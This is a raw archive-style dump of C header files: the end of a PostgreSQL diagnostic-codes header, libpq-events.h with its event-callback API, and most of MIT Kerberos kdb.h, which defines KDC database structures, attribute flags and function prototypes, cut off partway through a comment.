applications. */ #define PG_DIAG_SEVERITY 'S' #define PG_DIAG_SEVERITY_NONLOCALIZED 'V' #define PG_DIAG_SQLSTATE 'C' #define PG_DIAG_MESSAGE_PRIMARY 'M' #define PG_DIAG_MESSAGE_DETAIL 'D' #define PG_DIAG_MESSAGE_HINT 'H' #define PG_DIAG_STATEMENT_POSITION 'P' #define PG_DIAG_INTERNAL_POSITION 'p' #define PG_DIAG_INTERNAL_QUERY 'q' #define PG_DIAG_CONTEXT 'W' #define PG_DIAG_SCHEMA_NAME 's' #define PG_DIAG_TABLE_NAME 't' #define PG_DIAG_COLUMN_NAME 'c' #define PG_DIAG_DATATYPE_NAME 'd' #define PG_DIAG_CONSTRAINT_NAME 'n' #define PG_DIAG_SOURCE_FILE 'F' #define PG_DIAG_SOURCE_LINE 'L' #define PG_DIAG_SOURCE_FUNCTION 'R' #endif /* POSTGRES_EXT_H */ libpq-events.h 0000644 00000004246 15246445046 0007346 0 ustar 00 /*------------------------------------------------------------------------- * * libpq-events.h * This file contains definitions that are useful to applications * that invoke the libpq "events" API, but are not interesting to * ordinary users of libpq. * * Portions Copyright (c) 1996-2020, PostgreSQL Global Development Group * Portions Copyright (c) 1994, Regents of the University of California * * src/interfaces/libpq/libpq-events.h * *------------------------------------------------------------------------- */ #ifndef LIBPQ_EVENTS_H #define LIBPQ_EVENTS_H #include "libpq-fe.h" #ifdef __cplusplus extern "C" { #endif /* Callback Event Ids */ typedef enum { PGEVT_REGISTER, PGEVT_CONNRESET, PGEVT_CONNDESTROY, PGEVT_RESULTCREATE, PGEVT_RESULTCOPY, PGEVT_RESULTDESTROY } PGEventId; typedef struct { PGconn *conn; } PGEventRegister; typedef struct { PGconn *conn; } PGEventConnReset; typedef struct { PGconn *conn; } PGEventConnDestroy; typedef struct { PGconn *conn; PGresult *result; } PGEventResultCreate; typedef struct { const PGresult *src; PGresult *dest; } PGEventResultCopy; typedef struct { PGresult *result; } PGEventResultDestroy; typedef int (*PGEventProc) (PGEventId evtId, void *evtInfo, void *passThrough); /* Registers an event proc with the given PGconn. */ extern int PQregisterEventProc(PGconn *conn, PGEventProc proc, const char *name, void *passThrough); /* Sets the PGconn instance data for the provided proc to data. */ extern int PQsetInstanceData(PGconn *conn, PGEventProc proc, void *data); /* Gets the PGconn instance data for the provided proc. */ extern void *PQinstanceData(const PGconn *conn, PGEventProc proc); /* Sets the PGresult instance data for the provided proc to data. */ extern int PQresultSetInstanceData(PGresult *result, PGEventProc proc, void *data); /* Gets the PGresult instance data for the provided proc. */ extern void *PQresultInstanceData(const PGresult *result, PGEventProc proc); /* Fires RESULTCREATE events for an application-created PGresult. */ extern int PQfireResultCreateEvents(PGconn *conn, PGresult *res); #ifdef __cplusplus } #endif #endif /* LIBPQ_EVENTS_H */ kdb.h 0000644 00000207245 15246445046 0005501 0 ustar 00 /* -*- mode: c; c-basic-offset: 4; indent-tabs-mode: nil -*- */ /* * Copyright 1990, 1991, 2016 by the Massachusetts Institute of Technology. * All Rights Reserved. * * Export of this software from the United States of America may * require a specific license from the United States Government. * It is the responsibility of any person or organization contemplating * export to obtain such a license before exporting. * * WITHIN THAT CONSTRAINT, permission to use, copy, modify, and * distribute this software and its documentation for any purpose and * without fee is hereby granted, provided that the above copyright * notice appear in all copies and that both that copyright notice and * this permission notice appear in supporting documentation, and that * the name of M.I.T. not be used in advertising or publicity pertaining * to distribution of the software without specific, written prior * permission. Furthermore if you modify this software you must label * your software as modified software and not distribute it in such a * fashion that it might be confused with the original M.I.T. software. * M.I.T. makes no representations about the suitability of * this software for any purpose. It is provided "as is" without express * or implied warranty. */ /* * Copyright (C) 1998 by the FundsXpress, INC. * * All rights reserved. * * Export of this software from the United States of America may require * a specific license from the United States Government. It is the * responsibility of any person or organization contemplating export to * obtain such a license before exporting. * * WITHIN THAT CONSTRAINT, permission to use, copy, modify, and * distribute this software and its documentation for any purpose and * without fee is hereby granted, provided that the above copyright * notice appear in all copies and that both that copyright notice and * this permission notice appear in supporting documentation, and that * the name of FundsXpress. not be used in advertising or publicity pertaining * to distribution of the software without specific, written prior * permission. FundsXpress makes no representations about the suitability of * this software for any purpose. It is provided "as is" without express * or implied warranty. * * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED * WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE. */ /* * Copyright 2009 Sun Microsystems, Inc. All rights reserved. * Use is subject to license terms. */ /* KDC Database interface definitions */ /* This API is not considered as stable as the main krb5 API. * * - We may make arbitrary incompatible changes between feature * releases (e.g. from 1.7 to 1.8). * - We will make some effort to avoid making incompatible changes for * bugfix releases, but will make them if necessary. */ #ifndef KRB5_KDB5__ #define KRB5_KDB5__ #include <krb5.h> /* This version will be incremented when incompatible changes are made to the * KDB API, and will be kept in sync with the libkdb major version. */ #define KRB5_KDB_API_VERSION 10 /* Salt types */ #define KRB5_KDB_SALTTYPE_NORMAL 0 /* #define KRB5_KDB_SALTTYPE_V4 1 */ #define KRB5_KDB_SALTTYPE_NOREALM 2 #define KRB5_KDB_SALTTYPE_ONLYREALM 3 #define KRB5_KDB_SALTTYPE_SPECIAL 4 /* #define KRB5_KDB_SALTTYPE_AFS3 5 */ #define KRB5_KDB_SALTTYPE_CERTHASH 6 /* Attributes */ #define KRB5_KDB_DISALLOW_POSTDATED 0x00000001 #define KRB5_KDB_DISALLOW_FORWARDABLE 0x00000002 #define KRB5_KDB_DISALLOW_TGT_BASED 0x00000004 #define KRB5_KDB_DISALLOW_RENEWABLE 0x00000008 #define KRB5_KDB_DISALLOW_PROXIABLE 0x00000010 #define KRB5_KDB_DISALLOW_DUP_SKEY 0x00000020 #define KRB5_KDB_DISALLOW_ALL_TIX 0x00000040 #define KRB5_KDB_REQUIRES_PRE_AUTH 0x00000080 #define KRB5_KDB_REQUIRES_HW_AUTH 0x00000100 #define KRB5_KDB_REQUIRES_PWCHANGE 0x00000200 #define KRB5_KDB_DISALLOW_SVR 0x00001000 #define KRB5_KDB_PWCHANGE_SERVICE 0x00002000 #define KRB5_KDB_SUPPORT_DESMD5 0x00004000 #define KRB5_KDB_NEW_PRINC 0x00008000 #define KRB5_KDB_OK_AS_DELEGATE 0x00100000 #define KRB5_KDB_OK_TO_AUTH_AS_DELEGATE 0x00200000 /* S4U2Self OK */ #define KRB5_KDB_NO_AUTH_DATA_REQUIRED 0x00400000 #define KRB5_KDB_LOCKDOWN_KEYS 0x00800000 /* Creation flags */ #define KRB5_KDB_CREATE_BTREE 0x00000001 #define KRB5_KDB_CREATE_HASH 0x00000002 /* Entry get flags */ /* Name canonicalization requested */ #define KRB5_KDB_FLAG_CANONICALIZE 0x00000010 /* Include authorization data generated by backend */ #define KRB5_KDB_FLAG_INCLUDE_PAC 0x00000020 /* Is AS-REQ (client referrals only) */ #define KRB5_KDB_FLAG_CLIENT_REFERRALS_ONLY 0x00000040 /* Map cross-realm principals */ #define KRB5_KDB_FLAG_MAP_PRINCIPALS 0x00000080 /* Protocol transition */ #define KRB5_KDB_FLAG_PROTOCOL_TRANSITION 0x00000100 /* Constrained delegation */ #define KRB5_KDB_FLAG_CONSTRAINED_DELEGATION 0x00000200 /* User-to-user */ #define KRB5_KDB_FLAG_USER_TO_USER 0x00000800 /* Cross-realm */ #define KRB5_KDB_FLAG_CROSS_REALM 0x00001000 /* Issuing referral */ #define KRB5_KDB_FLAG_ISSUING_REFERRAL 0x00004000 #define KRB5_KDB_FLAGS_S4U ( KRB5_KDB_FLAG_PROTOCOL_TRANSITION | \ KRB5_KDB_FLAG_CONSTRAINED_DELEGATION ) /* KDB iteration flags */ #define KRB5_DB_ITER_WRITE 0x00000001 #define KRB5_DB_ITER_REV 0x00000002 #define KRB5_DB_ITER_RECURSE 0x00000004 /* String attribute names recognized by krb5 */ #define KRB5_KDB_SK_SESSION_ENCTYPES "session_enctypes" #define KRB5_KDB_SK_REQUIRE_AUTH "require_auth" #define KRB5_KDB_SK_OPTIONAL_AD_SIGNEDPATH "optional_ad_signedpath" #if !defined(_WIN32) /* * Note --- these structures cannot be modified without changing the * database version number in libkdb.a, but should be expandable by * adding new tl_data types. */ typedef struct _krb5_tl_data { struct _krb5_tl_data* tl_data_next; /* NOT saved */ krb5_int16 tl_data_type; krb5_ui_2 tl_data_length; krb5_octet * tl_data_contents; } krb5_tl_data; /* String attributes (currently stored inside tl-data) map C string keys to * values. They can be set via kadmin and consumed by KDC plugins. */ typedef struct krb5_string_attr_st { char *key; char *value; } krb5_string_attr; /* * If this ever changes up the version number and make the arrays be as * big as necessary. * * Currently the first type is the enctype and the second is the salt type. */ typedef struct _krb5_key_data { krb5_int16 key_data_ver; /* Version */ krb5_ui_2 key_data_kvno; /* Key Version */ krb5_int16 key_data_type[2]; /* Array of types */ krb5_ui_2 key_data_length[2]; /* Array of lengths */ krb5_octet * key_data_contents[2]; /* Array of pointers */ } krb5_key_data; #define KRB5_KDB_V1_KEY_DATA_ARRAY 2 /* # of array elements */ typedef struct _krb5_keysalt { krb5_int16 type; krb5_data data; /* Length, data */ } krb5_keysalt; /* * A principal database entry. Extensions to this structure currently use the * tl_data list. The e_data and e_length fields are not used by any calling * code except kdb5_util dump and load, which marshal and unmarshal the array * in the dump record. KDB modules may use these fields internally as long as * they set e_length appropriately (non-zero if the data should be marshalled * across dump and load, zero if not) and handle null e_data values in * caller-constructed principal entries. */ typedef struct _krb5_db_entry_new { krb5_magic magic; /* NOT saved */ krb5_ui_2 len; krb5_ui_4 mask; /* members currently changed/set */ krb5_flags attributes; krb5_deltat max_life; krb5_deltat max_renewable_life; krb5_timestamp expiration; /* When the client expires */ krb5_timestamp pw_expiration; /* When its passwd expires */ krb5_timestamp last_success; /* Last successful passwd */ krb5_timestamp last_failed; /* Last failed passwd attempt */ krb5_kvno fail_auth_count; /* # of failed passwd attempt */ krb5_int16 n_tl_data; krb5_int16 n_key_data; krb5_ui_2 e_length; /* Length of extra data */ krb5_octet * e_data; /* Extra data to be saved */ krb5_principal princ; /* Length, data */ krb5_tl_data * tl_data; /* Linked list */ /* key_data must be sorted by kvno in descending order. */ krb5_key_data * key_data; /* Array */ } krb5_db_entry; typedef struct _osa_policy_ent_t { int version; char *name; krb5_ui_4 pw_min_life; krb5_ui_4 pw_max_life; krb5_ui_4 pw_min_length; krb5_ui_4 pw_min_classes; krb5_ui_4 pw_history_num; krb5_ui_4 policy_refcnt; /* no longer used */ /* Only valid if version > 1 */ krb5_ui_4 pw_max_fail; /* pwdMaxFailure */ krb5_ui_4 pw_failcnt_interval; /* pwdFailureCountInterval */ krb5_ui_4 pw_lockout_duration; /* pwdLockoutDuration */ /* Only valid if version > 2 */ krb5_ui_4 attributes; krb5_ui_4 max_life; krb5_ui_4 max_renewable_life; char * allowed_keysalts; krb5_int16 n_tl_data; krb5_tl_data * tl_data; } osa_policy_ent_rec, *osa_policy_ent_t; typedef void (*osa_adb_iter_policy_func) (void *, osa_policy_ent_t); typedef struct __krb5_key_salt_tuple { krb5_enctype ks_enctype; krb5_int32 ks_salttype; } krb5_key_salt_tuple; #define KRB5_KDB_MAGIC_NUMBER 0xdbdbdbdb #define KRB5_KDB_V1_BASE_LENGTH 38 #define KRB5_KDB_MAX_ALLOWED_KS_LEN 512 #define KRB5_TL_LAST_PWD_CHANGE 0x0001 #define KRB5_TL_MOD_PRINC 0x0002 #define KRB5_TL_KADM_DATA 0x0003 #define KRB5_TL_KADM5_E_DATA 0x0004 #define KRB5_TL_RB1_CHALLENGE 0x0005 #ifdef SECURID #define KRB5_TL_SECURID_STATE 0x0006 #endif /* SECURID */ #define KRB5_TL_USER_CERTIFICATE 0x0007 #define KRB5_TL_MKVNO 0x0008 #define KRB5_TL_ACTKVNO 0x0009 #define KRB5_TL_MKEY_AUX 0x000a /* String attributes may not always be represented in tl-data. kadmin clients * must use the get_strings and set_string RPCs. */ #define KRB5_TL_STRING_ATTRS 0x000b #define KRB5_TL_PAC_LOGON_INFO 0x0100 /* NDR encoded validation info */ #define KRB5_TL_SERVER_REFERRAL 0x0200 /* ASN.1 encoded ServerReferralInfo */ #define KRB5_TL_SVR_REFERRAL_DATA 0x0300 /* ASN.1 encoded PA-SVR-REFERRAL-DATA */ #define KRB5_TL_CONSTRAINED_DELEGATION_ACL 0x0400 /* Each entry is a permitted SPN */ #define KRB5_TL_LM_KEY 0x0500 /* LM OWF */ #define KRB5_TL_X509_SUBJECT_ISSUER_NAME 0x0600 /* <I>IssuerDN<S>SubjectDN */ #define KRB5_TL_LAST_ADMIN_UNLOCK 0x0700 /* Timestamp of admin unlock */ #define KRB5_TL_DB_ARGS 0x7fff /* version number for KRB5_TL_ACTKVNO data */ #define KRB5_TL_ACTKVNO_VER 1 /* version number for KRB5_TL_MKEY_AUX data */ #define KRB5_TL_MKEY_AUX_VER 1 typedef struct _krb5_actkvno_node { struct _krb5_actkvno_node *next; krb5_kvno act_kvno; krb5_timestamp act_time; } krb5_actkvno_node; typedef struct _krb5_mkey_aux_node { struct _krb5_mkey_aux_node *next; krb5_kvno mkey_kvno; /* kvno of mkey protecting the latest_mkey */ krb5_key_data latest_mkey; /* most recent mkey */ } krb5_mkey_aux_node; typedef struct _krb5_keylist_node { krb5_keyblock keyblock; krb5_kvno kvno; struct _krb5_keylist_node *next; } krb5_keylist_node; /* * Determines the number of failed KDC requests before DISALLOW_ALL_TIX is set * on the principal. */ #define KRB5_MAX_FAIL_COUNT 5 /* XXX depends on knowledge of krb5_parse_name() formats */ #define KRB5_KDB_M_NAME "K/M" /* Kerberos/Master */ /* prompts used by default when reading the KDC password from the keyboard. */ #define KRB5_KDC_MKEY_1 "Enter KDC database master key" #define KRB5_KDC_MKEY_2 "Re-enter KDC database master key to verify" extern char *krb5_mkey_pwd_prompt1; extern char *krb5_mkey_pwd_prompt2; /* * These macros specify the encoding of data within the database. * * Data encoding is little-endian. */ #ifdef _KRB5_INT_H #include "k5-platform.h" #define krb5_kdb_decode_int16(cp, i16) \ *((krb5_int16 *) &(i16)) = load_16_le(cp) #define krb5_kdb_decode_int32(cp, i32) \ *((krb5_int32 *) &(i32)) = load_32_le(cp) #define krb5_kdb_encode_int16(i16, cp) store_16_le(i16, cp) #define krb5_kdb_encode_int32(i32, cp) store_32_le(i32, cp) #endif /* _KRB5_INT_H */ #define KRB5_KDB_OPEN_RW 0 #define KRB5_KDB_OPEN_RO 1 #ifndef KRB5_KDB_SRV_TYPE_KDC #define KRB5_KDB_SRV_TYPE_KDC 0x0100 #endif #ifndef KRB5_KDB_SRV_TYPE_ADMIN #define KRB5_KDB_SRV_TYPE_ADMIN 0x0200 #endif /* 0x0300 was KRB5_KDB_SRV_TYPE_PASSWD but it is no longer used. */ #ifndef KRB5_KDB_SRV_TYPE_OTHER #define KRB5_KDB_SRV_TYPE_OTHER 0x0400 #endif #define KRB5_KDB_OPT_SET_DB_NAME 0 #define KRB5_KDB_OPT_SET_LOCK_MODE 1 #define KRB5_DB_LOCKMODE_SHARED 0x0001 #define KRB5_DB_LOCKMODE_EXCLUSIVE 0x0002 #define KRB5_DB_LOCKMODE_PERMANENT 0x0008 /* libkdb.spec */ krb5_error_code krb5_db_setup_lib_handle(krb5_context kcontext); krb5_error_code krb5_db_open( krb5_context kcontext, char **db_args, int mode ); krb5_error_code krb5_db_init ( krb5_context kcontext ); krb5_error_code krb5_db_create ( krb5_context kcontext, char **db_args ); krb5_error_code krb5_db_inited ( krb5_context kcontext ); krb5_error_code kdb5_db_create ( krb5_context kcontext, char **db_args ); krb5_error_code krb5_db_fini ( krb5_context kcontext ); const char * krb5_db_errcode2string ( krb5_context kcontext, long err_code ); krb5_error_code krb5_db_destroy ( krb5_context kcontext, char **db_args ); krb5_error_code krb5_db_promote ( krb5_context kcontext, char **db_args ); krb5_error_code krb5_db_get_age ( krb5_context kcontext, char *db_name, time_t *t ); krb5_error_code krb5_db_lock ( krb5_context kcontext, int lock_mode ); krb5_error_code krb5_db_unlock ( krb5_context kcontext ); krb5_error_code krb5_db_get_principal ( krb5_context kcontext, krb5_const_principal search_for, unsigned int flags, krb5_db_entry **entry ); void krb5_db_free_principal ( krb5_context kcontext, krb5_db_entry *entry ); krb5_error_code krb5_db_put_principal ( krb5_context kcontext, krb5_db_entry *entry ); krb5_error_code krb5_db_delete_principal ( krb5_context kcontext, krb5_principal search_for ); krb5_error_code krb5_db_rename_principal ( krb5_context kcontext, krb5_principal source, krb5_principal target ); /* * Iterate over principals in the KDB. If the callback may write to the DB, * the caller must get an exclusive lock with krb5_db_lock before iterating, * and release it with krb5_db_unlock after iterating. */ krb5_error_code krb5_db_iterate ( krb5_context kcontext, char *match_entry, int (*func) (krb5_pointer, krb5_db_entry *), krb5_pointer func_arg, krb5_flags iterflags ); krb5_error_code krb5_db_store_master_key ( krb5_context kcontext, char *keyfile, krb5_principal mname, krb5_kvno kvno, krb5_keyblock *key, char *master_pwd); krb5_error_code krb5_db_store_master_key_list ( krb5_context kcontext, char *keyfile, krb5_principal mname, char *master_pwd); krb5_error_code krb5_db_fetch_mkey ( krb5_context context, krb5_principal mname, krb5_enctype etype, krb5_boolean fromkeyboard, krb5_boolean twice, char *db_args, krb5_kvno *kvno, krb5_data *salt, krb5_keyblock *key); krb5_error_code krb5_db_fetch_mkey_list( krb5_context context, krb5_principal mname, const krb5_keyblock * mkey ); krb5_error_code krb5_dbe_find_enctype( krb5_context kcontext, krb5_db_entry *dbentp, krb5_int32 ktype, krb5_int32 stype, krb5_int32 kvno, krb5_key_data **kdatap); krb5_error_code krb5_dbe_search_enctype ( krb5_context kcontext, krb5_db_entry *dbentp, krb5_int32 *start, krb5_int32 ktype, krb5_int32 stype, krb5_int32 kvno, krb5_key_data **kdatap); krb5_error_code krb5_db_setup_mkey_name ( krb5_context context, const char *keyname, const char *realm, char **fullname, krb5_principal *principal); /** * Decrypts the key given in @@a key_data. If @a mkey is specified, that * master key is used. If @a mkey is NULL, then all master keys are tried. */ krb5_error_code krb5_dbe_decrypt_key_data( krb5_context context, const krb5_keyblock * mkey, const krb5_key_data * key_data, krb5_keyblock * dbkey, krb5_keysalt * keysalt); krb5_error_code krb5_dbe_encrypt_key_data( krb5_context context, const krb5_keyblock * mkey, const krb5_keyblock * dbkey, const krb5_keysalt * keysalt, int keyver, krb5_key_data * key_data); krb5_error_code krb5_dbe_fetch_act_key_list(krb5_context context, krb5_principal princ, krb5_actkvno_node **act_key_list); krb5_error_code krb5_dbe_find_act_mkey( krb5_context context, krb5_actkvno_node * act_mkey_list, krb5_kvno * act_kvno, krb5_keyblock ** act_mkey); krb5_error_code krb5_dbe_find_mkey( krb5_context context, krb5_db_entry * entry, krb5_keyblock ** mkey); /* Set *mkvno to mkvno in entry tl_data, or 0 if not present. */ krb5_error_code krb5_dbe_lookup_mkvno( krb5_context context, krb5_db_entry * entry, krb5_kvno * mkvno); krb5_keylist_node * krb5_db_mkey_list_alias( krb5_context kcontext ); /* Set *mkvno to mkvno in entry tl_data, or minimum value from mkey_list. */ krb5_error_code krb5_dbe_get_mkvno( krb5_context context, krb5_db_entry * entry, krb5_kvno * mkvno); krb5_error_code krb5_dbe_lookup_mod_princ_data( krb5_context context, krb5_db_entry * entry, krb5_timestamp * mod_time, krb5_principal * mod_princ); krb5_error_code krb5_dbe_lookup_mkey_aux( krb5_context context, krb5_db_entry * entry, krb5_mkey_aux_node ** mkey_aux_data_list); krb5_error_code krb5_dbe_update_mkvno( krb5_context context, krb5_db_entry * entry, krb5_kvno mkvno); krb5_error_code krb5_dbe_lookup_actkvno( krb5_context context, krb5_db_entry * entry, krb5_actkvno_node ** actkvno_list); krb5_error_code krb5_dbe_update_mkey_aux( krb5_context context, krb5_db_entry * entry, krb5_mkey_aux_node * mkey_aux_data_list); krb5_error_code krb5_dbe_update_actkvno(krb5_context context, krb5_db_entry * entry, const krb5_actkvno_node *actkvno_list); krb5_error_code krb5_dbe_update_last_pwd_change( krb5_context context, krb5_db_entry * entry, krb5_timestamp stamp); krb5_error_code krb5_dbe_update_last_admin_unlock( krb5_context context, krb5_db_entry * entry, krb5_timestamp stamp); krb5_error_code krb5_dbe_lookup_tl_data( krb5_context context, krb5_db_entry * entry, krb5_tl_data * ret_tl_data); krb5_error_code krb5_dbe_create_key_data( krb5_context context, krb5_db_entry * entry); krb5_error_code krb5_dbe_update_mod_princ_data( krb5_context context, krb5_db_entry * entry, krb5_timestamp mod_date, krb5_const_principal mod_princ); /* * These are wrappers around realloc() and free(). Applications and KDB * modules can use them when manipulating principal and policy entries to * ensure that they allocate and free memory in a manner compatible with the * library. Using libkrb5 or libkbd5 functions to construct values (such as * krb5_copy_principal() to construct the princ field of a krb5_db_entry) is * also safe. On Unix platforms, just using malloc() and free() is safe as * long as the application or module does not use a malloc replacement. */ void *krb5_db_alloc( krb5_context kcontext, void *ptr, size_t size ); void krb5_db_free( krb5_context kcontext, void *ptr); krb5_error_code krb5_dbe_lookup_last_pwd_change( krb5_context context, krb5_db_entry * entry, krb5_timestamp * stamp); krb5_error_code krb5_dbe_lookup_last_admin_unlock( krb5_context context, krb5_db_entry * entry, krb5_timestamp * stamp); /* Retrieve the set of string attributes in entry, in no particular order. * Free *strings_out with krb5_dbe_free_strings when done. */ krb5_error_code krb5_dbe_get_strings(krb5_context context, krb5_db_entry *entry, krb5_string_attr **strings_out, int *count_out); /* Retrieve a single string attribute from entry, or NULL if there is no * attribute for key. Free *value_out with krb5_dbe_free_string when done. */ krb5_error_code krb5_dbe_get_string(krb5_context context, krb5_db_entry *entry, const char *key, char **value_out); /* Change or add a string attribute in entry, or delete it if value is NULL. */ krb5_error_code krb5_dbe_set_string(krb5_context context, krb5_db_entry *entry, const char *key, const char *value); krb5_error_code krb5_dbe_delete_tl_data( krb5_context context, krb5_db_entry * entry, krb5_int16 tl_data_type); krb5_error_code krb5_db_update_tl_data(krb5_context context, krb5_int16 * n_tl_datap, krb5_tl_data **tl_datap, krb5_tl_data * new_tl_data); krb5_error_code krb5_dbe_update_tl_data( krb5_context context, krb5_db_entry * entry, krb5_tl_data * new_tl_data); /* Compute the salt for a key data entry given the corresponding principal. */ krb5_error_code krb5_dbe_compute_salt(krb5_context context, const krb5_key_data *key, krb5_const_principal princ, krb5_int16 *salttype_out, krb5_data **salt_out); /* * Modify the key data of entry to explicitly store salt values using the * KRB5_KDB_SALTTYPE_SPECIAL salt type. */ krb5_error_code krb5_dbe_specialize_salt(krb5_context context, krb5_db_entry *entry); krb5_error_code krb5_dbe_cpw( krb5_context kcontext, krb5_keyblock * master_key, krb5_key_salt_tuple * ks_tuple, int ks_tuple_count, char * passwd, int new_kvno, krb5_boolean keepold, krb5_db_entry * db_entry); krb5_error_code krb5_dbe_ark( krb5_context context, krb5_keyblock * master_key, krb5_key_salt_tuple * ks_tuple, int ks_tuple_count, krb5_db_entry * db_entry); krb5_error_code krb5_dbe_crk( krb5_context context, krb5_keyblock * master_key, krb5_key_salt_tuple * ks_tuple, int ks_tuple_count, krb5_boolean keepold, krb5_db_entry * db_entry); krb5_error_code krb5_dbe_apw( krb5_context context, krb5_keyblock * master_key, krb5_key_salt_tuple * ks_tuple, int ks_tuple_count, char * passwd, krb5_db_entry * db_entry); int krb5_db_get_key_data_kvno( krb5_context context, int count, krb5_key_data * data); krb5_error_code krb5_db_sign_authdata(krb5_context kcontext, unsigned int flags, krb5_const_principal client_princ, krb5_const_principal server_princ, krb5_db_entry *client, krb5_db_entry *server, krb5_db_entry *header_server, krb5_db_entry *local_tgt, krb5_keyblock *client_key, krb5_keyblock *server_key, krb5_keyblock *header_key, krb5_keyblock *local_tgt_key, krb5_keyblock *session_key, krb5_timestamp authtime, krb5_authdata **tgt_auth_data, void *ad_info, krb5_data ***auth_indicators, krb5_authdata ***signed_auth_data); krb5_error_code krb5_db_check_transited_realms(krb5_context kcontext, const krb5_data *tr_contents, const krb5_data *client_realm, const krb5_data *server_realm); krb5_error_code krb5_db_check_policy_as(krb5_context kcontext, krb5_kdc_req *request, krb5_db_entry *client, krb5_db_entry *server, krb5_timestamp kdc_time, const char **status, krb5_pa_data ***e_data); krb5_error_code krb5_db_check_policy_tgs(krb5_context kcontext, krb5_kdc_req *request, krb5_db_entry *server, krb5_ticket *ticket, const char **status, krb5_pa_data ***e_data); void krb5_db_audit_as_req(krb5_context kcontext, krb5_kdc_req *request, const krb5_address *local_addr, const krb5_address *remote_addr, krb5_db_entry *client, krb5_db_entry *server, krb5_timestamp authtime, krb5_error_code error_code); void krb5_db_refresh_config(krb5_context kcontext); krb5_error_code krb5_db_check_allowed_to_delegate(krb5_context kcontext, krb5_const_principal client, const krb5_db_entry *server, krb5_const_principal proxy); krb5_error_code krb5_db_get_s4u_x509_principal(krb5_context kcontext, const krb5_data *client_cert, krb5_const_principal in_princ, unsigned int flags, krb5_db_entry **entry); krb5_error_code krb5_db_allowed_to_delegate_from(krb5_context context, krb5_const_principal client, krb5_const_principal server, void *server_ad_info, const krb5_db_entry *proxy); krb5_error_code krb5_db_get_authdata_info(krb5_context context, unsigned int flags, krb5_authdata **in_authdata, krb5_const_principal client_princ, krb5_const_principal server_princ, krb5_keyblock *server_key, krb5_keyblock *krbtgt_key, krb5_db_entry *krbtgt, krb5_timestamp authtime, void **ad_info_out, krb5_principal *client_out); void krb5_db_free_authdata_info(krb5_context context, void *ad_info); /** * Sort an array of @a krb5_key_data keys in descending order by their kvno. * Key data order within a kvno is preserved. * * @param key_data * The @a krb5_key_data array to sort. This is sorted in place so the * array will be modified. * @param key_data_length * The length of @a key_data. */ void krb5_dbe_sort_key_data(krb5_key_data *key_data, size_t key_data_length); /* default functions. Should not be directly called */ /* * Default functions prototype */ krb5_error_code krb5_dbe_def_search_enctype( krb5_context kcontext, krb5_db_entry *dbentp, krb5_int32 *start, krb5_int32 ktype, krb5_int32 stype, krb5_int32 kvno, krb5_key_data **kdatap); krb5_error_code krb5_def_store_mkey_list( krb5_context context, char *keyfile, krb5_principal mname, krb5_keylist_node *keylist, char *master_pwd); krb5_error_code krb5_db_def_fetch_mkey( krb5_context context, krb5_principal mname, krb5_keyblock *key, krb5_kvno *kvno, char *db_args); krb5_error_code krb5_def_fetch_mkey_list( krb5_context context, krb5_principal mprinc, const krb5_keyblock *mkey, krb5_keylist_node **mkeys_list); krb5_error_code krb5_dbe_def_cpw( krb5_context context, krb5_keyblock * master_key, krb5_key_salt_tuple * ks_tuple, int ks_tuple_count, char * passwd, int new_kvno, krb5_boolean keepold, krb5_db_entry * db_entry); krb5_error_code krb5_dbe_def_decrypt_key_data( krb5_context context, const krb5_keyblock * mkey, const krb5_key_data * key_data, krb5_keyblock * dbkey, krb5_keysalt * keysalt); krb5_error_code krb5_dbe_def_encrypt_key_data( krb5_context context, const krb5_keyblock * mkey, const krb5_keyblock * dbkey, const krb5_keysalt * keysalt, int keyver, krb5_key_data * key_data); krb5_error_code krb5_db_def_rename_principal( krb5_context kcontext, krb5_const_principal source, krb5_const_principal target); krb5_error_code krb5_db_create_policy( krb5_context kcontext, osa_policy_ent_t policy); krb5_error_code krb5_db_get_policy ( krb5_context kcontext, char *name, osa_policy_ent_t *policy ); krb5_error_code krb5_db_put_policy( krb5_context kcontext, osa_policy_ent_t policy); krb5_error_code krb5_db_iter_policy( krb5_context kcontext, char *match_entry, osa_adb_iter_policy_func func, void *data); krb5_error_code krb5_db_delete_policy( krb5_context kcontext, char *policy); void krb5_db_free_policy( krb5_context kcontext, osa_policy_ent_t policy); krb5_error_code krb5_db_set_context(krb5_context, void *db_context); krb5_error_code krb5_db_get_context(krb5_context, void **db_context); void krb5_dbe_free_key_data_contents(krb5_context, krb5_key_data *); void krb5_dbe_free_key_list(krb5_context, krb5_keylist_node *); void krb5_dbe_free_actkvno_list(krb5_context, krb5_actkvno_node *); void krb5_dbe_free_mkey_aux_list(krb5_context, krb5_mkey_aux_node *); void krb5_dbe_free_tl_data(krb5_context, krb5_tl_data *); void krb5_dbe_free_strings(krb5_context, krb5_string_attr *, int count); void krb5_dbe_free_string(krb5_context, char *); /* * Register the KDB keytab type, allowing "KDB:" to be used as a keytab name. * For this type to work, the context used for keytab operations must have an * associated database handle (via krb5_db_open()). */ krb5_error_code krb5_db_register_keytab(krb5_context context); #define KRB5_KDB_DEF_FLAGS 0 #define KDB_MAX_DB_NAME 128 #define KDB_REALM_SECTION "realms" #define KDB_MODULE_POINTER "database_module" #define KDB_MODULE_DEF_SECTION "dbdefaults" #define KDB_MODULE_SECTION "dbmodules" #define KDB_LIB_POINTER "db_library" #define KDB_DATABASE_CONF_FILE DEFAULT_SECURE_PROFILE_PATH #define KDB_DATABASE_ENV_PROF KDC_PROFILE_ENV #define KRB5_KDB_OPEN_RW 0 #define KRB5_KDB_OPEN_RO 1 #define KRB5_KDB_OPT_SET_DB_NAME 0 #define KRB5_KDB_OPT_SET_LOCK_MODE 1 /* * This number indicates the date of the last incompatible change to the DAL. * The maj_ver field of the module's vtable structure must match this version. */ #define KRB5_KDB_DAL_MAJOR_VERSION 8 /* * A krb5_context can hold one database object. Modules should use * krb5_db_set_context and krb5_db_get_context to store state associated with * the database object. * * Some module functions are mandatory for KDC operation; others are optional * or apply only to administrative operations. If a function is optional, a * module can leave the function pointer as NULL. Alternatively, modules can * return KRB5_PLUGIN_OP_NOTSUPP when asked to perform an inapplicable action. * * Some module functions have default implementations which will call back into * the vtable interface. Leave these functions as NULL to use the default * implementations. * * The documentation in these comments describes the DAL as it is currently * implemented and used, not as it should be. So if anything seems off, that * probably means the current state of things is off. * * Modules must allocate memory for principal entries, policy entries, and * other structures using an allocator compatible with malloc() as seen by * libkdb5 and libkrb5. Modules may link against libkdb5 and call * krb5_db_alloc() 